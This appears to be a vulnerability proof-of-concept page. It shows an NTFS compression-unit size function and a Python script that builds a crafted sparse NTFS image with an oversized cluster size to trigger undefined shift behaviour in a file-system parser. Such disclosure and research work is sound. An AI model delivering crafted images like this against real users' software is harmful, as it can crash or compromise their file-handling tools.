1
ClusterSize = BytesPerSector × SectorsPerCluster

1
512  = 2^9
2
1024 = 2^10
3
2048 = 2^11
4
4096 = 2^12

1
UInt32 GetCuSize() const
2
{
3
    return (UInt32)1 << (BlockSizeLog + CompressionUnit);
4
}

1
#!/usr/bin/env python3
2
"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed
3
$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB."""
4
import struct, os, sys
5

6
boot = bytearray(512)
7
boot[0:3] = b'\xEB\x52\x90'
8
boot[3:11] = b'NTFS    '
9
struct.pack_into('<H', boot, 11, 512)
10
boot[13] = 0xED  # ClusterSizeLog = 28
11
for i in range(14, 21): boot[i] = 0
12
boot[21] = 0xF8
13
struct.pack_into('<H', boot, 24, 63)
14
struct.pack_into('<H', boot, 26, 255)
15
struct.pack_into('<Q', boot, 40, 2 << 19)  # TotalSectors
16
struct.pack_into('<Q', boot, 48, 1)  # MftCluster=1 -> offset 256MB
17
boot[64] = 0xF6
18
boot[68] = 0xF6
19
struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)
20
boot[510] = 0x55; boot[511] = 0xAA
21

22
MFT_REC = 1024
23

24
def mft_rec(seq, flags, attrs, rec_num=0):
25
    r = bytearray(MFT_REC)
26
    r[0:4] = b'FILE'
27
    struct.pack_into('<H', r, 4, 0x30)   # UpdateSequenceOffset
28
    struct.pack_into('<H', r, 6, 3)      # UpdateSequenceSize
29
    struct.pack_into('<Q', r, 8, 0)
30
    struct.pack_into('<H', r, 16, seq)
31
    struct.pack_into('<H', r, 18, 1)
32
    struct.pack_into('<H', r, 20, 0x38)
33
    struct.pack_into('<H', r, 22, flags)
34
    bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7
35
    struct.pack_into('<I', r, 24, bytes_in_use)
36
    struct.pack_into('<I', r, 28, MFT_REC)
37
    struct.pack_into('<I', r, 0x2C, rec_num)
38
    r[0x38:0x38+len(attrs)] = attrs
39
    struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF)
40
    usn = 0x0001
41
    struct.pack_into('<H', r, 0x30, usn)
42
    orig0 = struct.unpack_from('<H', r, 510)[0]
43
    orig1 = struct.unpack_from('<H', r, 1022)[0]
44
    struct.pack_into('<H', r, 0x32, orig0)
45
    struct.pack_into('<H', r, 0x34, orig1)
46
    struct.pack_into('<H', r, 510, usn)
47
    struct.pack_into('<H', r, 1022, usn)
48
    return r
49

50
def std_info():
51
    d = bytearray(48)
52
    a = bytearray(24 + len(d))
53
    struct.pack_into('<I', a, 0, 0x10)
54
    struct.pack_into('<I', a, 4, len(a))
55
    a[8] = 0
56
    struct.pack_into('<H', a, 14, 0x18)
57
    struct.pack_into('<I', a, 16, len(d))
58
    a[24:24+len(d)] = d
59
    return a
60

61
def filename(name):
62
    nu = name.encode('utf-16-le')
63
    fn = bytearray(66 + len(nu))
64
    struct.pack_into('<Q', fn, 0, 5)
65
    fn[64] = len(name)
66
    fn[65] = 3
67
    fn[66:66+len(nu)] = nu
68
    raw_len = 24 + len(fn)
69
    padded_len = (raw_len + 7) & ~7
70
    a = bytearray(padded_len)
71
    struct.pack_into('<I', a, 0, 0x30)
72
    struct.pack_into('<I', a, 4, padded_len)
73
    a[8] = 0
74
    struct.pack_into('<H', a, 14, 0x18)
75
    struct.pack_into('<I', a, 16, len(fn))
76
    a[24:24+len(fn)] = fn
77
    return a
78

79
def compressed_data():
80
    rl = bytes([0x11, 0x01, 0x01, 0x00])  # 1 cluster at LCN 1
81
    hdr_size = 0x48
82
    sz = (hdr_size + len(rl) + 7) & ~7
83
    a = bytearray(sz)
84
    struct.pack_into('<I', a, 0, 0x80)
85
    struct.pack_into('<I', a, 4, sz)
86
    a[8] = 1
87
    struct.pack_into('<Q', a, 0x10, 0)     # LowVcn
88
    struct.pack_into('<Q', a, 0x18, 0)     # HighVcn
89
    struct.pack_into('<H', a, 0x20, hdr_size)  # RunlistOffset
90
    a[0x22] = 4                            # CompressionUnit = 4
91
    cs = 1 << 28
92
    struct.pack_into('<Q', a, 0x28, cs)    # AllocatedSize
93
    struct.pack_into('<Q', a, 0x30, 100)   # Size
94
    struct.pack_into('<Q', a, 0x38, 100)   # InitializedSize
95
    struct.pack_into('<Q', a, 0x40, cs)    # PackSize
96
    a[hdr_size:hdr_size+len(rl)] = rl
97
    return a
98

99
def mft_data_attr(num_records):
100
    rl = bytes([0x11, 0x01, 0x01, 0x00])
101
    sz = (72 + len(rl) + 7) & ~7
102
    a = bytearray(sz)
103
    struct.pack_into('<I', a, 0, 0x80)
104
    struct.pack_into('<I', a, 4, sz)
105
    a[8] = 1
106
    struct.pack_into('<Q', a, 16, 0)
107
    struct.pack_into('<Q', a, 24, 0)
108
    struct.pack_into('<H', a, 32, 0x40)
109
    struct.pack_into('<H', a, 34, 0)       # CompressionUnit = 0
110
    data_size = num_records * MFT_REC
111
    struct.pack_into('<Q', a, 40, 1 << 28)
112
    struct.pack_into('<Q', a, 48, data_size)
113
    struct.pack_into('<Q', a, 56, data_size)
114
    a[0x40:0x40+len(rl)] = rl
115
    return a
116

117
num_mft_records = 7
118
mft  = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)
119
for i in range(1, 5):
120
    mft += mft_rec(i+1, 1, std_info(), rec_num=i)
121
mft += mft_rec(1, 3, std_info(), rec_num=5)  # root dir
122
mft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)
123

124
mft_off = 1 << 28   # 256 MB
125
phy_size = 2 << 28   # 512 MB
126
out = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"
127
with open(out, 'wb') as f:
128
    f.write(boot)
129
    f.seek(mft_off)
130
    f.write(mft)
131
    f.seek(phy_size - 1)
132
    f.write(b'\x00')
133

134
print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")